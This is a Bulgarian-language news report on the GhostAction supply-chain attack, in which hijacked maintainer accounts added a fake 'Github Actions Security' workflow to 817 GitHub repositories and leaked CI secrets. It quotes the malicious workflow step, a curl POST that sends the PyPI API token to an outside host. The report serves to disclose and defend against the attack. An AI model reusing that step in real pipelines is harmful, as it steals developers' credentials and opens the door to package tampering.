По време на атаката GhostAction са компрометирани 817 хранилища в GitHub

Изследователи от компанията GitGuardian откриха масирана атака срещу потребители на GitHub, при която беше придобит контрол над 327 акаунта и беше подменен злонамерен обработчик на Github Action в 817 репозитория. Атаката доведе до изтичане на 3325 секрети, използвани в системите за непрекъсната интеграция и предавани чрез променливи на околната среда, включително токени за достъп до PyPI, GitHub, NPM, DockerHub и различни облачни хранилища.

GitHub Actions дава възможност на разработчиците на код да прикрепват обработчици за автоматизация на различни операции в GitHub. Например, с помощта на GitHub Actions могат да се извършват определени проверки и тестове при комитиране или да се автоматизира обработката на нови Issues. Злонамереният обработчик се разпространяваше под името „Github Actions Security“ и включваше в секцията „run“ команда „curl“, която изпращаше съдържанието на променливите на околната среда на външен хост при стартиране на задачи в средата на непрекъсната интеграция. Злонамерен комит беше добавен от акаунти на мейнтейнери на проекти, които вероятно преди това са били хакнати или станали жертва на фишинг.

Атаката беше установена след анализ на аномална активност, свързана с пакета FastUUID, предоставящ Python обвивка над Rust библиотеката UUID. Пакетът FastUUID, за който през последната седмица са регистрирани почти 1,2 милиона изтегляния, се използва като зависимост в популярния проект LiteLLM, който има над 5 милиона изтегляния в PyPI на седмица. Анализът на промените в репозитория FastUUID показа, че на 2 септември мейнтейнерът на проекта е добавил комит с нов обработчик на Github Action, който съдържаше код за изпращане на токен към репозитория PyPI на външен хост. — name: Github Actions Security run: | curl -s -X POST -d ‘PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}’ https://bold-dhawan.45-139-104-115.plesk.page

Проблемата беше идентифицирана преди злоумышленниците да успеят да се възползват от компрометирания токен — не са отчетени публикации на злонамерени промени или модифицирани версии на пакета в PyPI за FastUUID. Подобни подмени на GitHub Action бяха открити в 816 репозитория, на собствениците на които, както и на администрацията на PyPI, GitHub, NPM и DockerHub, бяха изпратени уведомления. Към снощи злонамерените комити бяха отменени в около 100 репозитория. В момента при търсене в GitHub се откриват 671 комита с злонамерен GitHub Action.

Източник: opennet.ru